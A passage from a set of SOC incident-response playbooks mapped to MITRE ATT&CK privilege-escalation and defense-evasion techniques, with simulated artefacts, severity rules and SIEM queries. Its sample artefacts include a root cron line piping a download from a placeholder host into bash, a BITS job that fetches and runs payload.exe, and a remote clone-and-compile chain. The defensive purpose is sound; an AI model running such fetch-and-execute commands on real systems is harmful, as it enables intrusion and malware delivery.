NextAction=CredentialAccess

Severity decision (SOC)

High

- Injection attempt detected but blocked

Critical

- Successful injection into SYSTEM/root process
- Injection into authentication, security or core OS processes

Example severity: Critical

(Stealth privilege escalation inside trusted processes)

Step-by-step SOC workflow

Step 1 Validate process injection

Confirm:

1. Was code written into another process's memory?
2. Did execution occur inside a different process?
3. Did the target process run with higher privileges?
4. Is there no legitimate debugging or admin justification?

Decision point

- Legitimate debugging/AV → validate scope and approval
- Malicious injection → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
DLL / PE injection	LoadLibrary / manual map	Reliability
Thread hijacking / APC	Thread manipulation	Stealth
Hollowing / Doppelgänger	Image replacement	Evasion
Ptrace / Proc mem	Unix process abuse	Root access
VDSO / ListPlanting	Loader abuse	Deep control

Step 3 Map behaviour to attacker intent

3A) Stealth Privilege Escalation

Indicators

- No new processes spawned

Attacker intent

- Avoid detection and logging

3B) Trust Piggybacking

Indicators

- Injection into trusted OS processes

Attacker intent

- Inherit trust and privileges

3C) Credential and Control Expansion

Indicators

- Injection into LSASS, winlogon, sshd

Attacker intent

- Steal secrets and dominate system

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access

- LSASS dumping, key extraction
- 2. Lateral Movement
 - RDP/SMB/SSH using elevated context
- 3. Defense Evasion
 - Unhooking, API patching
- 4. Impact
 - Ransomware staging, data manipulation

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Suspend or terminate injected processes
2. Isolate affected systems
3. Block further memory-injection attempts

If injection confirmed

1. Preserve memory dumps and EDR telemetry
2. Identify initial access vector enabling injection
3. Notify SOC leadership and OS/platform owners
4. Assume full privilege compromise

Eradication and recovery

- Rebuild affected systems (recommended for LSASS/critical targets)
- Rotate credentials exposed post-injection
- Patch OS and applications abused for injection
- Harden process protections (PPL, SELinux, AppArmor)
- Enforce EDR memory-protection features

Detection engineering (SIEM ideas)

A) Cross-process memory access

index=edr

| where action IN ("write_process_memory","create_remote_thread","ptrace_attach")

B) Privileged process executing non-standard code

index=edr
| where process_privilege IN ("SYSTEM","root")
| where module_path NOT LIKE approved_paths

C) Process hollowing indicators

index=edr
| where image_replaced=true OR transacted_image=true

Analyst checklist

- Process injection confirmed
- Sub-technique identified
- Affected processes terminated or systems rebuilt
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat memory integrity as a Tier-0 control
- Enable advanced EDR injection-detection rules
- Protect critical processes (LSASS PPL, SELinux enforcing)
- Monitor thread and memory APIs continuously
- Correlate memory write → thread execution → privilege escalation

Playbook 83 (MITRE Privilege Escalation): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques (5):

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing task schedulers and job orchestration mechanisms, enabling attackers to:

- Execute malicious code as SYSTEM/root or privileged service accounts
- Gain escalation without exploits or token abuse
- Blend malicious execution into routine automation
- Achieve persistence and privilege escalation simultaneously
- Delay execution to evade detection

Scheduled Task / Job abuse is privilege escalation through trusted automation attackers let the scheduler do the escalation for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- New tasks created by non-admin users that run with elevated privileges
- Scheduled jobs executing binaries from unusual paths
- Privilege escalation occurring at predictable time intervals
- Task execution immediately after reboot or logon
- Task definitions modified without approved change records

Example use case scenario (end-to-end)

Context: SOC observes a standard user obtaining SYSTEM privileges every 5 minutes. No service creation or exploit telemetry is present. Task enumeration reveals a Scheduled Task configured to run as SYSTEM executing a malicious PowerShell script.

Attacker objective: Escalate privileges reliably and quietly using trusted scheduling infrastructure.

Defender objective: Remove malicious scheduled execution and restore scheduler integrity.

What it looks like (simulated SOC artefacts)

A) Windows Scheduled Task

TaskName=UpdateCheck

RunAs=SYSTEM

Trigger=Every 5 minutes

Action=powershell.exe -File C:\ProgramData\update.ps1

Creator=UserContext

B) Cron Job (Linux)

`* /5 * * * * root /usr/bin/curl http://x.x.x.x/root.sh | bash`

C) At Job

JobID=12

RunTime=02:00

Command=/bin/bash /tmp/escalate.sh

User=root

D) Systemd Timer

Timer=backup.timer

Service=backup.service

ExecStart=/usr/bin/bash /opt/payload.sh

User=root

E) Container Orchestration Job

Platform=Kubernetes

Job=nightly-maintenance

Image=attacker/image:latest

SecurityContext=privileged:true

F) Privilege Escalation Result

Context=SYSTEM / root

Method=Scheduled Execution

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Privilege escalation limited to a single system

Critical

- SYSTEM/root execution
- Abuse of centrally managed schedulers or clusters

Example severity: Critical

(Exploit-less, reliable privilege escalation)

Step-by-step SOC workflow

Step 1 Validate scheduler-based escalation

Confirm:

1. Was a task or job created or modified?
2. Does it execute with higher privileges than the attacker initially had?
3. Is execution automatic or time-based?
4. Is there no exploit or token manipulation evidence?

Decision point

- Legitimate automation → validate approval and scope
- Malicious scheduled execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows scheduled tasks	SYSTEM execution	Reliability
Cron / at jobs	Root execution	Simplicity
Systemd timers	Boot-time execution	Durability
Container jobs	Cluster-wide privilege	Infrastructure reach

Step 3 Map behaviour to attacker intent

3A) Exploit-less Privilege Escalation

Indicators

- No vulnerability exploitation

Attacker intent

- Avoid exploit-based detection

3B) Persistence + Escalation

Indicators

- Task runs repeatedly or at boot

Attacker intent

- Long-term elevated foothold

3C) Delayed or Stealthy Execution

Indicators

- Time-based or infrequent triggers

Attacker intent

- Evade real-time detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, /etc/shadow
2. Lateral Movement
 - RDP, SSH, SMB using elevated context
3. Defense Evasion
 - Task deletion or obfuscation
4. Impact
 - Ransomware staging, data exfiltration

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or delete malicious tasks/jobs
2. Isolate affected systems or nodes
3. Prevent further scheduled execution

If scheduler abuse confirmed

1. Preserve task definitions and scheduler logs
2. Identify how scheduler modification rights were obtained
3. Notify SOC leadership, OS/Platform teams and management
4. Assume privilege boundary compromise

Eradication and recovery

- Remove malicious tasks and restore legitimate ones
- Rotate credentials exposed post-escalation
- Restrict task/job creation permissions
- Enforce scheduler auditing and integrity checks
- Rebuild systems if task scope is unclear

Detection engineering (SIEM ideas)

A) Scheduled task creation/modification

```
index=windows OR index=linux  
| where event_type IN  
("task_created","task_modified","cron_added","systemd_timer_added")
```

B) Privileged scheduled execution

```
index=edr  
| where process_parent IN ("taskeng.exe","cron","systemd")  
| where process_privilege IN ("SYSTEM","root")
```

C) Privileged container jobs

```
index=cloud  
| where action="create_job"  
| where privileged=true
```

Analyst checklist

- Scheduled execution escalation confirmed
- Sub-technique identified
- Tasks removed and permissions hardened
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat schedulers as Tier-0 privilege escalation surfaces
- Enforce strict approvals for task/job creation
- Monitor scheduler activity continuously
- Baseline legitimate tasks and timers
- Correlate task creation → execution → privilege escalation

Playbook 84 (MITRE Privilege Escalation): Valid Accounts

Technique: Valid Accounts

Sub-techniques (4):

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing legitimate credentials and accounts, enabling attackers to:

- Escalate privileges without exploits, malware or injection
- Blend malicious activity into normal authentication behaviour
- Abuse misconfigured, over-privileged or forgotten accounts
- Move from low-privilege access to administrator / root / global admin
- Evade detection by operating as “legitimate users”

Valid Accounts is privilege escalation via identity abuse attackers don't break in, they log in and get promoted.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected privilege gain using legitimate credentials, including:

- Users gaining admin privileges without policy or ticket approval
- Authentication from valid accounts followed by immediate escalation
- Use of dormant, default or rarely used accounts
- Cloud IAM role elevation without approved change
- Privilege escalation with no exploit, no malware, no memory abuse

Example use case scenario (end-to-end)

Context: SOC observes a standard domain user successfully authenticating and immediately performing domain admin actions. No exploit or service abuse is detected. Audit logs show the user was added to a privileged group earlier using a compromised admin account.

Attacker objective: Escalate privileges cleanly and quietly using legitimate identities.

Defender objective: Revoke illegitimate access and restore identity trust.

What it looks like (simulated SOC artefacts)

A) Default Account Abuse

Account=Administrator
State=Enabled
LastLogin=02:14
SourceIP=Unknown

B) Domain Account Privilege Escalation

User=jdoe
Action=Added to Domain Admins
PerformedBy=svc_backup

C) Local Account Escalation

Host=WS-014
User=localuser
Group=Administrators
ChangeSource=Unknown

D) Cloud Account Role Abuse

Account=user@tenant.com
RoleAdded=Global Administrator
PerformedVia=AzureAD Portal

E) Rapid Privilege Usage

User=jdoe
Action=DC Sync
TimeSinceRoleAdd=3 minutes

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Privilege escalation limited to a single system

Critical

- Domain admin, root or global admin access achieved
- Abuse of cloud or directory-wide privileges

Example severity: Critical

(Identity-based privilege escalation)

Step-by-step SOC workflow

Step 1 Validate account-based privilege escalation

Confirm:

1. Was a valid account used for authentication?
2. Did that account gain new or higher privileges?
3. Was the privilege change unauthorised or unexpected?
4. Is there no exploit or malware-based escalation?

Decision point

- Legitimate admin action → validate ticket/change approval
- Unauthorised escalation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
Default accounts	Built-in admin abuse	Predictability
Domain accounts	Group membership abuse	Scale
Local accounts	Host-level control	Simplicity
Cloud accounts	IAM role escalation	Tenant-wide access

Step 3 Map behaviour to attacker intent

3A) Stealth Escalation

Indicators

- No malware or exploit activity

Attacker intent

- Evade detection using normal auth flows

3B) Trust Abuse

Indicators

- Abuse of legitimate admin mechanisms

Attacker intent

- Operate “inside the rules”

3C) Enterprise Control

Indicators

- Domain or cloud-wide privileges gained

Attacker intent

- Full organisational dominance

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, DCSync, cloud token abuse
2. Lateral Movement
 - RDP, SMB, SSH, WinRM
3. Defense Evasion
 - Log clearing, policy modification
4. Impact
 - Ransomware, data exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Remove unauthorised privileges
2. Disable or suspend compromised accounts

3. Invalidate active sessions and tokens

If valid account abuse confirmed

1. Preserve authentication and IAM audit logs
2. Identify credential compromise source
3. Notify SOC leadership, IAM, IT Ops and management
4. Assume identity trust compromise

Eradication and recovery

- Rotate credentials for affected accounts
- Review and clean all privileged group memberships
- Disable or rename default accounts
- Enforce least privilege and just-in-time access
- Revalidate cloud IAM and directory baselines

Detection engineering (SIEM ideas)

A) Privileged group membership changes

index=ad OR index=cloud
| where action IN ("add_to_admin_group","role_assigned")

B) Rapid privilege usage after role assignment

index=security
| where privilege_change=true
| transaction user maxspan=10m

C) Default account authentication

index=windows
| where user IN ("Administrator","root")

Analyst checklist

- Valid account abuse confirmed
- Sub-technique identified
- Privileges revoked
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity misuse as a Tier-0 privilege escalation vector
- Enforce MFA for all privileged accounts
- Monitor group and role changes in real time
- Disable or tightly control default accounts
- Correlate authentication → privilege change → privileged action

BY IZMER IZUDDIN

DEFENSE EVASION

Defense Evasion is the stage where attackers attempt to avoid detection and bypass security controls so they can continue operating without interruption. After gaining access and privileges, adversaries hide their activities by disabling or tampering with security tools, modifying logs, masquerading as legitimate processes, encrypting or obfuscating payloads and blending in with normal user behaviour. This phase allows attackers to extend dwell time and operate stealthily while progressing toward their objectives. For SOC teams, detecting defense evasion is especially challenging but critical, as successful evasion often means the attacker is already deeply embedded in the environment identifying these behaviours early can prevent prolonged compromise and larger-scale impact.

Playbook 85 (MITRE Defense Evasion): Abuse Elevation Control Mechanism

Technique: Abuse Elevation Control Mechanism

Sub-techniques covered:

- Setuid and Setgid
- Bypass User Account Control
- Sudo and Sudo Caching
- Elevated Execution with Prompt
- Temporary Elevated Cloud Access
- TCC Manipulation

Purpose

Detect, investigate and respond to defense evasion achieved by abusing legitimate privilege elevation mechanisms, enabling attackers to:

- Perform high-privilege actions without triggering exploit alerts
- Blend malicious activity into expected administrative workflows
- Evade detections focused on malware, exploits or credential dumping
- Abuse trust relationships between users, OS and cloud platforms
- Execute sensitive actions under the appearance of legitimacy

From a defense evasion perspective, the attacker is not just escalating privileges they are hiding malicious intent inside normal elevation behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest privileged activity that looks legitimate but is contextually suspicious, including:

- Elevated actions with no corresponding ticket or change record
- Admin/root execution without exploit telemetry
- Frequent or repeated sudo success without password prompts
- Legitimate elevation prompts abused outside business context
- Cloud admin roles activated briefly and repeatedly
- macOS privacy controls weakened without user awareness

Example use case scenario (end-to-end)

Context: SOC observes system files modified by a standard user account. No exploit alerts, no malware detected. Investigation shows the user abused sudo caching and a Setuid binary, while cloud logs show temporary admin role activation during off-hours.

Attacker objective: Perform privileged actions while appearing legitimate, avoiding security detection.

Defender objective: Detect elevation abuse patterns, revoke misuse and restore proper control boundaries.

What it looks like (simulated SOC artefacts)

A) Setuid / Setgid Abuse

```
file=/usr/bin/backup-helper
permissions=-rwsr-xr-x
executed_by=user01
result=uid=0(root)
```

B) UAC Bypass (Windows)

```
process=eventvwr.exe
parent=explorer.exe
child=powershell.exe
integrity_level=High
```

C) Sudo Caching Abuse

```
user=user01
command=sudo vi /etc/passwd
password_prompt=false
```

D) Elevated Execution with Prompt

```
application=installer.exe
elevation_prompt=shown
user_clicked=Yes
child_process=cmd.exe
```

E) Temporary Elevated Cloud Access

```
platform=EntraID
action=ActivateRole
role=GlobalAdmin
duration=1h
user=devops01@example.my
```

F) TCC Manipulation (macOS)

database=/Library/Application Support/com.apple.TCC/TCC.db
service=SystemPolicyAllFiles
app=Terminal
access=granted

Severity decision (SOC)

Low

- Elevation behaviour approved and documented
- Matches maintenance or operational activity

Medium

- Elevation undocumented
- No immediate malicious follow-on

High / Critical

- Elevation abused to evade controls
- Privileged actions performed stealthily
- Cross-platform impact observed

Example severity: High

(Sudo caching + Setuid abuse + cloud admin activation)

Step-by-step SOC workflow

Step 1 Validate elevation context

Confirm:

1. Which elevation mechanism was used?
2. Is the elevation expected for this user, system and time?
3. Did elevation bypass normal safeguards (password, MFA, approval)?
4. Are actions disproportionate to the user's role?

Decision point

- Legitimate admin workflow → document and monitor
- Suspicious elevation abuse → continue investigation immediately

Step 2 Identify evasion vector and scope

Mechanism	Evidence	Evasion value
Setuid / Setgid	Root-owned binaries	No exploit needed
UAC bypass	Auto-elevated binaries	Avoid prompts/logs
Sudo caching	No password reuse	Silent root access
Elevation prompt	User trust abuse	Social evasion
Cloud elevation	Time-bound admin	Audit log evasion
TCC manipulation	Privacy bypass	Data access stealth

Step 3 Map behaviour to attacker intent

3A) Blend into Legitimate Activity

Indicators

- Built-in tools only
- No malware artefacts

Attacker intent

- Hide in plain sight

3B) Bypass Security Monitoring

Indicators

- No exploit signatures
- No credential theft

Attacker intent

- Evade SOC detection logic

3C) Enable Follow-on Actions

Indicators

- Privileged changes to system or cloud
- Subsequent persistence or access expansion

Attacker intent

Prepare environment for long-term compromise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, tasks, startup items
2. Credential Access
 - Secrets, keychains, LSASS
3. Lateral Movement
 - Admin access reuse
4. Impact
 - Ransomware, sabotage, data access

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke elevated privileges immediately
2. Terminate suspicious elevated sessions
3. Disable abused elevation mechanisms

If abuse confirmed

1. Reset affected user credentials
2. Fix sudoers, Setuid, UAC or policy misconfigurations
3. Revoke temporary cloud roles
4. Isolate host if system integrity is questionable

Eradication and recovery

- Restore least-privilege enforcement
- Reset macOS TCC permissions
- Audit and tighten elevation controls
- Review elevated actions performed
- Monitor for recurrence of abuse

Detection engineering (SIEM ideas)

A) Sudo without password

index=linux
 | where command LIKE "sudo%"
 | where password_prompt="false"

B) Auto-elevated Windows binaries

index=edr
 | where parent_process="explorer.exe"
 | where child_integrity="High"

C) Cloud role activation monitoring

index=cloud
 | where action="ActivateRole"

D) macOS TCC database changes

index=macos
 | where file_path LIKE "%TCC.db%"

Analyst checklist

- Elevation abuse identified
- Context validated
- Privileges revoked
- Configurations corrected
- Monitoring enhanced

Post-incident improvements

- Treat elevation abuse as Tier-0 defense evasion
- Audit Setuid, sudoers and UAC settings regularly
- Require just-in-time approval for cloud admin roles
- Monitor elevation frequency and timing anomalies

- Include elevation-abuse scenarios in SOC training

BY IZMER IZUDDIN

Playbook 86 (MITRE Defense Evasion): Access Token Manipulation

Technique: Access Token Manipulation

Sub-techniques covered:

- Token Impersonation / Theft
- Create Process with Token
- Make and Impersonate Token
- Parent PID Spoofing
- SID-History Injection

Purpose

Detect, investigate and respond to defense evasion achieved by abusing access tokens, enabling attackers to:

- Operate under legitimate security contexts
- Evade authentication, MFA and credential-based detections
- Make malicious activity appear to come from trusted users or services
- Blend into normal OS behaviour and audit logs
- Bypass many identity-based security controls

From a defense evasion perspective, the attacker is not “logging in” they are reusing or forging trust that already exists.

When to trigger this playbook

Trigger this playbook when indicators suggest identity misuse without corresponding authentication events, including:

- SYSTEM or admin processes spawned without logon events
- Privileged actions by users who never authenticated
- Security logs showing legitimate users performing impossible actions
- Parent-child process relationships that don't make sense
- Domain admin privileges appearing without group changes
- EDR alerts referencing token, PID spoofing or impersonation

Example use case scenario (end-to-end)

Context: SOC detects registry modifications requiring admin privileges. No admin logon events are present. EDR telemetry shows a user-level process using `SeImpersonatePrivilege` to steal a SYSTEM token and spawn a new process with spoofed parent PID.

Attacker objective: Perform privileged actions while appearing fully legitimate, avoiding authentication and MFA controls.

Defender objective: Detect token abuse, terminate impersonated execution and restore identity trust boundaries.

What it looks like (simulated SOC artefacts)

A) Token Impersonation / Theft

```
process=malware.exe  
privilege=SeImpersonatePrivilege  
token_source=NT AUTHORITY\SYSTEM
```

B) Create Process with Token

```
API=CreateProcessWithTokenW  
new_process=cmd.exe  
run_as=SYSTEM  
caller_process=user_app.exe
```

C) Make and Impersonate Token

```
LogonUser()  
logon_type=NewCredentials  
impersonation=enabled
```

D) Parent PID Spoofing

```
process=cmd.exe  
reported_parent=explorer.exe  
actual_creator=malware.exe
```

E) SID-History Injection

```
user=corp\user01  
SIDHistory=corp\Domain Admins  
effective_rights=DomainAdmin
```

Severity decision (SOC)

Low

- Token usage aligns with documented service behaviour

- No privilege misuse detected

Medium

- Token manipulation detected
- Limited scope, no sensitive actions

High / Critical

- SYSTEM or Domain Admin actions without authentication
- Token abuse used to evade security controls
- Lateral movement or persistence enabled

Example severity: Critical

(SYSTEM token impersonation + silent admin actions)

Step-by-step SOC workflow

Step 1 Validate token legitimacy

Confirm:

1. Which token was used (SYSTEM, service, admin)?
2. Does token usage match authentication logs?
3. Is impersonation expected for this process?
4. Were actions possible without authentication?

Decision point

- Legitimate service impersonation → document and monitor
- Unauthorised token abuse → continue investigation immediately

Step 2 Identify token abuse vector and scope

Sub-technique	Evidence	Evasion value
Token impersonation	SYSTEM token reuse	No login required
Create process with token	SYSTEM child process	Privileged stealth
Make/impersonate token	Fake logon context	MFA bypass
Parent PID spoofing	False lineage	Process trust abuse
SID-History injection	Group inheritance	Domain-wide stealth

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No logon or MFA events
- Privileged actions succeed

Attacker intent

- Evade identity controls entirely

3B) Audit and Log Evasion

Indicators

- Actions attributed to trusted identities
- No suspicious logins

Attacker intent

- Hide in legitimate audit trails

3C) Privilege Masking

Indicators

- Low-privilege process performing admin tasks

Attacker intent

- Conceal privilege escalation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS access, token cloning
2. Persistence
 - SYSTEM-level services or tasks
3. Lateral Movement
 - SMB, WinRM, RDP without auth logs

4. Impact

- AD manipulation, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate processes running under stolen tokens
2. Revoke token-related privileges (SeImpersonate, SeAssignPrimaryToken)
3. Isolate affected hosts

If abuse confirmed

1. Reset credentials of affected identities
2. Remove SID-History entries
3. Disable vulnerable services allowing token abuse
4. Preserve memory and telemetry for forensics

Eradication and recovery

- Patch OS and services enabling token abuse
- Remove unnecessary token privileges
- Restore correct group memberships
- Reimage hosts if identity integrity is uncertain
- Validate clean token usage after reboot

Detection engineering (SIEM ideas)

A) SYSTEM process without SYSTEM parent

```
index=edr  
| where child_user="SYSTEM"  
| where parent_user!="SYSTEM"
```

B) Token privilege abuse

```
index=windows  
| where privilege IN ("SeImpersonatePrivilege","SeAssignPrimaryToken")
```

C) Parent PID spoofing

index=edr
| where reported_parent != actual_parent

D) SID-History modification

index=identity
| where attribute="SIDHistory"

Analyst checklist

- Token abuse confirmed
- Privileged execution terminated
- Identity trust restored
- Privileges reduced
- Monitoring strengthened

Post-incident improvements

- Treat token abuse as Tier-0 defense evasion
- Minimise SelpersonatePrivilege usage
- Correlate authentication events with process creation
- Audit SID-History regularly
- Include token-evasion scenarios in SOC simulations

Playbook 87 (MITRE Defense Evasion): BITS Jobs

Technique: BITS Jobs

Purpose

Detect, investigate and respond to adversaries abusing Background Intelligent Transfer Service (BITS) jobs to evade defenses, enabling attackers to:

- Download or upload malicious payloads quietly and reliably
- Blend network traffic into legitimate Windows background activity
- Execute payloads indirectly through trusted OS components
- Persist malicious operations across reboots
- Evade proxy, firewall and network anomaly detection

BITS Jobs represent defense evasion through trusted background services attackers hide inside normal Windows update-style behaviour.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or unauthorised BITS job usage, including:

- BITS jobs created by non-admin or unexpected users
- BITS jobs downloading from suspicious or external infrastructure
- Jobs configured with execution or persistence properties
- BITS activity associated with malware delivery or C2 staging
- Network transfers occurring without visible foreground processes

Example use case scenario (end-to-end)

Context: SOC observes intermittent outbound traffic to an unfamiliar external IP. No browser or application process is associated. BITS logs reveal a persistent BITS job downloading an executable to C:\ProgramData and executing it.

Attacker objective: Evade network and endpoint detection while staging malware.

Defender objective: Terminate malicious BITS jobs and restore trusted background transfer usage.

What it looks like (simulated SOC artefacts)

A) Suspicious BITS Job Creation

JobName=UpdateJob
Owner=CORP\user1
URL=http://x.x.x.x/payload.exe
Destination=C:\ProgramData\update.exe

B) Persistence via BITS

JobType=Persistent
RetryDelay=Infinite
NoProgressTimeout=0

C) Execution Trigger

NotifyCmdLine=C:\ProgramData\update.exe
NotifyFlags=JOB_NOTIFY_FILE_TRANSFERRED

D) Network Evasion

Service=BITS
Protocol=HTTP
UserAgent=Microsoft BITS/7.8

E) Follow-on Activity

NextAction=Execution

Severity decision (SOC)

Medium

- Suspicious BITS usage without confirmed malicious payload

High

- BITS used to download or execute malware

Critical

- BITS abuse combined with persistence, C2 or lateral movement

Example severity: High

(Trusted service abused for stealthy payload delivery)

Step-by-step SOC workflow

Step 1 Validate BITS abuse

Confirm:

1. Was a BITS job created or modified?
2. Is the job unauthorised or unexpected?
3. Does it interact with suspicious external infrastructure?
4. Does it trigger execution or persistence?

Decision point

- Legitimate system update → validate source and scope
- Malicious BITS job → escalate immediately

Step 2 Identify attacker use pattern

BITS Feature	Abuse Indicator	Attacker value
Background transfer	No user process	Stealth
Trusted user-agent	Normal-looking traffic	Evasion
Persistent jobs	Survive reboot	Durability
NotifyCmdLine	Payload execution	Execution
Throttling	Low-bandwidth usage	Detection avoidance

Step 3 Map behaviour to attacker intent

3A) Network Evasion

Indicators

- HTTP traffic attributed to BITS

Attacker intent

- Bypass proxy and IDS scrutiny

3B) Stealthy Payload Delivery

Indicators

- Executables staged via BITS

Attacker intent

- Avoid direct download detection

3C) Persistence and Reliability

Indicators

- Jobs configured to retry indefinitely

Attacker intent

- Guaranteed payload delivery

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - NotifyCmdLine execution, LOLBins
2. Persistence
 - Scheduled tasks, registry autoruns
3. Command and Control
 - Beacons from downloaded payload
4. Privilege Escalation
 - Post-execution escalation attempts

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Cancel and delete malicious BITS jobs
2. Block malicious URLs and IPs
3. Isolate affected hosts if payload executed

If BITS abuse confirmed

1. Preserve BITS logs and job metadata
2. Identify initial access enabling job creation
3. Notify SOC leadership and endpoint teams
4. Assume **defense evasion activity**

Eradication and recovery

- Remove downloaded payloads
- Reset BITS service state if tampered
- Rotate credentials if post-download activity occurred
- Harden BITS usage via group policy
- Review endpoint update and transfer baselines

Detection engineering (SIEM ideas)

A) BITS job creation

index=windows
| where event_id IN (59, 60) /* BITS job created/modified */

B) BITS downloads to unusual paths

index=windows
| where service="BITS"
| where destination_path LIKE "C:\\ProgramData%"

C) BITS external download correlation

index=proxy
| where user_agent LIKE "Microsoft BITS%"

Analyst checklist

- Malicious BITS job confirmed
- Job removed and payload deleted
- Network IOCs blocked
- Follow-on activity investigated
- Incident severity assessed correctly

Post-incident improvements

- Treat BITS as a monitored execution-adjacent service
- Alert on BITS jobs with execution triggers
- Baseline legitimate BITS usage in the environment
- Correlate BITS job → file write → execution
- Include BITS abuse in threat-hunting playbooks

Playbook 88 (MITRE Defense Evasion): Build Image on Host

Technique: Build Image on Host

Purpose

Detect, investigate and respond to adversaries evading defenses by building malicious payloads directly on the compromised host, enabling attackers to:

- Avoid static detection of pre-built malware
- Bypass signature-based AV and sandboxing
- Generate host-specific binaries that evade reputation systems
- Compile or assemble payloads only when needed
- Blend malicious activity into legitimate development or build workflows

Build Image on Host is defense evasion through on-demand weaponisation attackers don't bring malware with them they manufacture it inside the victim environment.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected compilation, build or image creation activity, including:

- Compilers or build tools running on non-developer systems
- Source code being fetched and compiled post-compromise
- Container or VM images built on production hosts
- Build artefacts immediately followed by execution
- No malware detected until after compilation

Example use case scenario (end-to-end)

Context: SOC detects gcc.exe executing on a finance workstation. No developer tools should exist on the system. Moments later, a new executable appears in memory and begins C2 communication.

Attacker objective: Evade detection by building malware locally instead of delivering it.

Defender objective: Stop on-host weaponisation and restore endpoint integrity.

What it looks like (simulated SOC artefacts)

A) Unexpected Compiler Execution

Process=gcc.exe

User=finance_user
Host=FIN-WS-021

B) Source Code Retrieval

Command=git clone https://x.x.x.x/repo.git
Destination=C:\Temp\src

C) On-Host Build

Command=make all
Output=payload.exe
Path=C:\Temp\src\bin

D) Immediate Execution

ProcessStart=C:\Temp\src\bin\payload.exe
Parent=cmd.exe

E) Container Image Build (Alternative)

Command=docker build .
Image=finance-update:latest

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Build activity observed but no malicious execution confirmed

High

- Host-built payload executed

Critical

- On-host build combined with C2, persistence or lateral movement

Example severity: High

(Local malware manufacturing)

Step-by-step SOC workflow

Step 1 Validate on-host image build

Confirm:

1. Are build tools present on a system where they should not be?
2. Was source code fetched or written locally?
3. Did a binary, script or image get produced?
4. Was the artefact executed or staged?

Decision point

- Legitimate dev activity → validate asset role
- Malicious build activity → escalate immediately

Step 2 Identify build method and scope

Build Method	Indicator	Attacker value
Native compiler	gcc, cl.exe	AV evasion
Script-based build	PowerShell, Python	Flexibility
Container image build	docker build	Cloud abuse
VM/image build	Packer, qemu	Infrastructure staging

Step 3 Map behaviour to attacker intent

3A) Signature Evasion

Indicators

- No malware detected until execution

Attacker intent

- Bypass static detection

3B) Host-Specific Payloads

Indicators

- Builds customised per host

Attacker intent

- Evade reputation and sandboxing

3C) Stealth Weaponisation

Indicators

- Build tools removed after use

Attacker intent

- Reduce forensic artefacts

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Newly built binaries running
2. Persistence
 - Autoruns, services, scheduled tasks
3. Command and Control
 - Network connections from built artefacts
4. Privilege Escalation
 - Exploits bundled into builds

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Terminate build and execution processes
2. Isolate affected host
3. Preserve build artefacts and source code

If malicious build confirmed

1. Collect compiler logs, shell history and file timestamps
2. Identify initial access vector enabling build tools
3. Notify SOC leadership and endpoint teams
4. Treat system as fully compromised

Eradication and recovery

- Remove unauthorised build tools
- Delete malicious source and binaries
- Reimage affected systems (recommended)
- Restrict compiler and build tool usage via policy
- Review software allowlisting controls

Detection engineering (SIEM ideas)

A) Compiler execution on non-dev systems

```
index=edr  
| where process_name IN ("gcc.exe","cl.exe","make","docker","go","rustc")  
| where host_role!="developer"
```

B) Build followed by execution

```
index=edr  
| transaction host maxspan=10m  
| where process_name IN ("gcc.exe","make") AND child_process!="expected"
```

C) Container image builds on endpoints

```
index=cloud OR index=edr  
| where command LIKE "docker build%"
```

Analyst checklist

- On-host build activity confirmed
- Malicious artefacts identified
- Host isolated or rebuilt
- Follow-on activity investigated
- Incident severity reassessed

Post-incident improvements

- Treat build tools as high-risk binaries
- Restrict compilers to approved developer systems
- Alert on build-then-execute patterns
- Monitor source-fetch + compile chains
- Correlate source download → build → execution

Playbook 89 (MITRE Defense Evasion): Debugger Evasion

Technique: Debugger Evasion

Purpose

Detect, investigate and respond to attacker techniques that detect, disrupt or evade debugging and analysis, enabling attackers to:

- Prevent reverse engineering and malware analysis
- Detect sandbox, EDR or analyst-driven debugging
- Alter behaviour to appear benign under analysis
- Delay or suppress malicious execution until safe
- Increase dwell time by resisting investigation

Debugger evasion is analysis-aware defense evasion: the malware knows it is being watched and reacts accordingly.

When to trigger this playbook

Trigger this playbook when indicators suggest analysis-aware or debugger-sensitive behaviour, including:

- Malware behaving differently in sandbox vs production
- Processes exiting immediately under debugging
- Anti-debug API calls or timing checks detected
- Self-termination when analysis tools are present
